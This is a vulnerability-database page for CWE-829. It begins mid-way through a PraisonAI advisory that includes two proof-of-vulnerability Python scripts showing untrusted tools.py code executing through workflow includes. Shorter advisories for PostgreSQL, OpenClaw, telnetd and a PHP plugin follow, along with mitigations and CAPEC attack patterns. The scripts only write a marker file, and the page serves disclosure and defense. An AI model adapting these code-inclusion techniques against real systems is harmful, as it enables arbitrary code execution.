check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe\u0027s tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        recipe = workdir / \"child_recipe\"\n        recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n            \"def benign_tool():\\n\"\n            \"    return \u0027ok\u0027\\n\",\n            encoding=\"utf-8\",\n        )\n        (recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonaiagents.workflows.workflows import Workflow, include\n\n        workflow = Workflow(steps=[include(\"child_recipe\")])\n        workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: included recipe tools.py executed with \"\n                \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n            return 0\n\n        print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        parent_recipe = workdir / \"parent_recipe\"\n        child_recipe = workdir / \"child_recipe\"\n        parent_recipe.mkdir()\n        child_recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (parent_recipe / \"TEMPLATE.yaml\").write_text(\n            \"name: parent_recipe\\n\"\n            \"version: 1.0.0\\n\"\n            \"workflow: workflow.yaml\\n\",\n            encoding=\"utf-8\",\n        )\n        (parent_recipe / \"workflow.yaml\").write_text(\n            \"name: parent\\n\"\n            \"steps:\\n\"\n            \"  - include: child_recipe\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n            \"def benign_tool():\\n\"\n            \"    return \u0027ok\u0027\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonai import recipe\n\n        result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n                \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n                \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"recipe_status={result.status}\")\n            print(f\"recipe_ok={result.ok}\")\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n            return 0\n\n        print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n        print(f\"recipe_status={result.status}\")\n        print(f\"recipe_error={result.error}\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-hxmv-c4g6-5fqc",
  "modified": "2026-08-25T14:15:27Z",
  "published": "2026-08-25T14:15:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code"
}

GHSA-J447-M374-X28H

Vulnerability from github – Published: 2026-08-13 15:34 – Updated: 2026-08-13 15:34
VLAI
Details

Untrusted data inclusion in PostgreSQL psql COPY may allow a server administrator to elicit execution of data lines as psql commands, via error injection. If the "COPY FROM STDIN" or "\copy FROM STDIN" command fails before the server indicates that it awaits input rows, psql processes the in-line data rows as psql commands. "COPY FROM" with a filename is unaffected. The server administrator has no inherent control over the data rows, so a complete attack requires the attacker to separately acquire control of both the server and the data rows. Alternatively, an attacker controlling data rows alone might complete an attack through a coincidental error that they don't control. Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T13:19:16Z",
    "severity": "HIGH"
  },
  "details": "Untrusted data inclusion in PostgreSQL psql COPY may allow a server administrator to elicit execution of data lines as psql commands, via error injection.  If the \"COPY FROM STDIN\" or \"\\copy FROM STDIN\" command fails before the server indicates that it awaits input rows, psql processes the in-line data rows as psql commands.  \"COPY FROM\" with a filename is unaffected.  The server administrator has no inherent control over the data rows, so a complete attack requires the attacker to separately acquire control of both the server and the data rows.  Alternatively, an attacker controlling data rows alone might complete an attack through a coincidental error that they don\u0027t control.  Versions before PostgreSQL 18.5, 17.11, 16.15, 15.19, and 14.24 are affected.",
  "id": "GHSA-j447-m374-x28h",
  "modified": "2026-08-13T15:34:37Z",
  "published": "2026-08-13T15:34:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6464"
    },
    {
      "type": "WEB",
      "url": "https://www.postgresql.org/support/security/CVE-2026-6464"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J5QH-5234-4RQP

Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-04-06 22:49
VLAI
Summary
Duplicate Advisory: OpenClaw: Workspace plugin auto-discovery allowed code execution from cloned repositories
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-99qw-6mr3-36qr. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.3.12 automatically discovers and loads plugins from .OpenClaw/extensions/ without explicit trust verification, allowing arbitrary code execution. Attackers can execute malicious code by including crafted workspace plugins in cloned repositories that execute when users run OpenClaw from the directory.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T22:49:33Z",
    "nvd_published_at": "2026-03-31T12:16:28Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-99qw-6mr3-36qr. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.12 automatically discovers and loads plugins from .OpenClaw/extensions/ without explicit trust verification, allowing arbitrary code execution. Attackers can execute malicious code by including crafted workspace plugins in cloned repositories that execute when users run OpenClaw from the directory.",
  "id": "GHSA-j5qh-5234-4rqp",
  "modified": "2026-04-06T22:49:34Z",
  "published": "2026-03-31T12:31:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-99qw-6mr3-36qr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32920"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-code-execution-via-auto-discovery-of-workspace-plugins"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Workspace plugin auto-discovery allowed code execution from cloned repositories",
  "withdrawn": "2026-04-06T22:49:33Z"
}

GHSA-J682-47RX-FXRP

Vulnerability from github – Published: 2026-02-27 06:31 – Updated: 2026-03-07 18:30
VLAI
Details

telnetd in GNU inetutils through 2.7 allows privilege escalation that can be exploited by abusing systemd service credentials support added to the login(1) implementation of util-linux in release 2.40. This is related to client control over the CREDENTIALS_DIRECTORY environment variable, and requires an unprivileged local user to create a login.noauth file.

Severity
7.4 (High)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-28372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-27T06:18:00Z",
    "severity": "HIGH"
  },
  "details": "telnetd in GNU inetutils through 2.7 allows privilege escalation that can be exploited by abusing systemd service credentials support added to the login(1) implementation of util-linux in release 2.40. This is related to client control over the CREDENTIALS_DIRECTORY environment variable, and requires an unprivileged local user to create a login.noauth file.",
  "id": "GHSA-j682-47rx-fxrp",
  "modified": "2026-03-07T18:30:30Z",
  "published": "2026-02-27T06:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28372"
    },
    {
      "type": "WEB",
      "url": "https://git.hadrons.org/cgit/debian/pkgs/inetutils.git/commit/?id=3953943d8296310485f98963883a798545ab9a6c"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/02/24/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/02/27/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/06/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/06/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/07/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/07/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J6W8-J3GW-86HG

Vulnerability from github – Published: 2025-01-07 12:30 – Updated: 2026-04-01 18:33
VLAI
Details

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Abdul Hakeem Build App Online allows PHP Local File Inclusion.This issue affects Build App Online: from n/a through 1.0.23.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-49649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-98"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-07T11:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Control of Filename for Include/Require Statement in PHP Program (\u0027PHP Remote File Inclusion\u0027) vulnerability in Abdul Hakeem Build App Online allows PHP Local File Inclusion.This issue affects Build App Online: from n/a through 1.0.23.",
  "id": "GHSA-j6w8-j3gw-86hg",
  "modified": "2026-04-01T18:33:01Z",
  "published": "2025-01-07T12:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49649"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/build-app-online/vulnerability/wordpress-build-app-online-plugin-1-0-23-local-file-inclusion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-175: Code Inclusion

An adversary exploits a weakness on the target to force arbitrary code to be retrieved locally or from a remote location and executed. This differs from code injection in that code injection involves the direct inclusion of code while code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-201: Serialized Data External Linking

An adversary creates a serialized data file (e.g. XML, YAML, etc...) that contains an external data reference. Because serialized data parsers may not validate documents with external references, there may be no checks on the nature of the reference in the external data. This can allow an adversary to open arbitrary files or connections, which may further lead to the adversary gaining access to information on the system that they would normally be unable to obtain.

CAPEC-228: DTD Injection

An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion.

CAPEC-251: Local Code Inclusion

The attacker forces an application to load arbitrary code files from the local machine. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.

CAPEC-252: PHP Local File Inclusion

The attacker loads and executes an arbitrary local PHP file on a target machine. The attacker could use this to try to load old versions of PHP files that have known vulnerabilities, to load PHP files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways.

CAPEC-253: Remote Code Inclusion

The attacker forces an application to load arbitrary code files from a remote location. The attacker could use this to try to load old versions of library files that have known vulnerabilities, to load malicious files that the attacker placed on the remote machine, or to otherwise change the functionality of the targeted application in unexpected ways.

CAPEC-263: Force Use of Corrupted Files

This describes an attack where an application is forced to use a file that an attacker has corrupted. The result is often a denial of service caused by the application being unable to process the corrupted file, but other results, including the disabling of filters or access controls (if the application fails in an unsafe way rather than failing by locking down) or buffer overflows are possible.

CAPEC-538: Open-Source Library Manipulation

Adversaries implant malicious code in open source software (OSS) libraries to have it widely distributed, as OSS is commonly downloaded by developers and other users to incorporate into software development projects. The adversary can have a particular system in mind to target, or the implantation can be the first stage of follow-on attacks on many systems.

CAPEC-549: Local Execution of Code

An adversary installs and executes malicious code on the target system in an effort to achieve a negative technical impact. Examples include rootkits, ransomware, spyware, adware, and others.

CAPEC-640: Inclusion of Code in Existing Process

The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, function hooking, reflective code loading, and more.

CAPEC-660: Root/Jailbreak Detection Evasion via Hooking

An adversary forces a non-restricted mobile application to load arbitrary code or code files, via Hooking, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Adversaries may further leverage these capabilities to escalate privileges or bypass access control on legitimate applications. Although many mobile applications check if a mobile device is Rooted/Jailbroken prior to authorized use of the application, adversaries may be able to "hook" code in order to circumvent these checks. Successfully evading Root/Jailbreak detection allows an adversary to execute administrative commands, obtain confidential data, impersonate legitimate users of the application, and more.

CAPEC-695: Repo Jacking

An adversary takes advantage of the redirect property of directly linked Version Control System (VCS) repositories to trick users into incorporating malicious code into their applications.

CAPEC-698: Install Malicious Extension

An adversary directly installs or tricks a user into installing a malicious extension into existing trusted software, with the goal of achieving a variety of negative technical impacts.

← Back to the CWE list